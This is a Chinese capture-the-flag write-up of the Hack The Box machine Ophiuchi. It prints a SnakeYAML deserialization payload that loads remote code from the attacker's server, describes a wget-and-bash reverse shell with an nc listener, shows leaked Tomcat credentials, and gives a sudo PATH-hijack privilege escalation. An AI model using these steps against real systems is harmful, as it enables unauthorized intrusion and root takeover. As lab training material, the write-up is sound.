Hackthebox - Ophiuchi

靶场信息

靶场类型

信息搜集

Nmap

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.227

Http

我们可以看到开启了22和8080端口,让我们访问8080端口看看

这是个啥?一个YAML在线解析器,让我们随便输入点东西试试

此功能已暂停,嗯。。。有点意思

我们先看看其他功能点,比如tomcat 版本为 Apache Tomcat 9.0.38

直接登录试试,万一有0day呢?(弱口令)

[http://10.10.10.227:8080/manager](http://10.10.10.227:8080/manager)

咱们去登录试试

测试了几个默认口令均无效,看来还是得把目光放到YAML上了,去google找找资料吧

在搜索过程中,发现tomcat 9.0.38存在 Snake yaml 反序列化漏洞

YAML在线解析器具有java类构造函数的功能

OK,那思路就有了

漏洞利用

使用python3在本地开启一个http服务器

python3 -m http.server 80

使用YAML解析命令

!!javax.script.ScriptEngineManager [
    !!java.net.URLClassLoader [[
        !!java.net.URL ["http://10.10.14.184/"]
    ]]
]

点击解析看看

我们可以看到,虽然是失败,但确实/META-INF/services/javax.script.ScriptEngineFactory 向我们的机器发出了请求

我们可以保持相同的文件结构来利用它,例如具有目录“META-INF”然后是 services 具有文件名的子目录 javax.script.ScriptEngineFactory,在该文件中,我们将调用我们的exploit

创建一个文件,exploit.java 可以从这里获取java代码,然后我们将尝试ping我们的本地机器以查看exploit是否有效,以便我们获得反向shell

https://github.com/LucifielHack/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java

将该代码保存为exploit.java

然后使用javac进行编译,即可得到.class文件

我们将snakeyaml.exploit写入到javax.script.ScriptEngineFactory中

然后我们新建一个文件夹 snakeyaml,然后将文件结构这样放

然后我们在Ophiuchi目录下使用python3开启一个http服务器

然后在YAML中属于我们第一次调用的poc来进行调用

成功

然后我们在Ophiuchi目录中创建一个exploit.sh脚本

这个脚本是用来反弹shell用的

然后我们本地使用nc开启一个监听端口

nc -nvlp 4444

然后,我们将wget将刚才写的bash脚本下载并保存到/tmp目录中,然后使用bash执行它,现在我们休要修改我们的exploit.java文件

然后重新编译exploit.java文件

在YAML中继续执行我们刚才的代码

成功获取到shell,并且使用python3获得一个稳定的shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

PS:如果这里没有获取到,那应该是java的版本不对,新版本java不行,必须得使用java class 55版本进行编译

代码 javac –release 11 exploit.java

然后我们我们知道,该web服务器是使用apache tomcat进行搭建运行的,所以我们现在去查看tomcat的配置文件

使用find命令进行查找

find / -name "tomcat-users.xml" 2>/dev/null

找到了,然后使用cat查看即可

得到了账号密码

username = admin
password = whythereisalimit

我们查看一下这台机器的账户

我们可以看到,这台linux的机器上,admin居然是一个账户,而且权限还不低?出题人扣十分 记大过一次

咱们直接使用su进行登录或使用ssh进行登录即可

成功拿到user权限的flag

权限提升

使用sudo -l查看咱们的sudo权限

咱们发现,可以直接使用root权限执行/opt/wasm-functions/index.go文件,那提权的突破口肯定在这了,咱们查看一下吧

进行代码审计,咱们可以看到。它会读取Web程序集二进制文件,然后它会从info函数中获取一个值,如果该值不等于1,程序将会输出“Not ready to deploy”,不然将会执行一个deploy.sh脚本

有一点需要注意, main.wasm 和 deploy.sh 在源代码中没有绝对路径,这意味着我们可以创建自己的文件,然后使用 PATH 变量。 所以首先我要下载 main.wasm 到我的机器上

在目标机器目录/opt/wasm-functions目录中使用Python3开启一个服务器

然后使用wget下载

https://github.com/LucifielHack/wabt

这里使用一个名为wabt(Web Assembly Binary Toolkit)的工具,我们需要将main.wasm文件转换为.wat文件,因为它是该二进制文件的文本格式。但在此之前首先让我们使用wasm-decompile查看二进制文件中的info函数,它将二进制文件反编译为C语言的格式

./wabt/build/wasm-decompile main.wasm -o main.dcmp

我们可以看到该info函数返回值0,这就是我们要修改的内容了

将.wasm转换为.wat文件

./wabt/build/wasm2wat main.wasm -o main.wat

然后打开main.wat文件

我们可以看到const值为0

我们将它改为1

现在我们需要修改回二进制形式(.wasm) 因此我们需要将.wat转换为.wasm

./wabt/build/wat2wasm main.wat -o main.wasm

将main.wasm上传到/tmp目录

咱们制作一个deploy.sh文件在/tmp目录

现在添加/tmp到PATH变量并以sudo的形式运行golang源代码

export PATH=/tmp:$PATH
echo $PATH

大家可以看到,已经运行成功了,直接使用bash -p进行提权即可

提权成功

成功获得root权限的flag

收工睡觉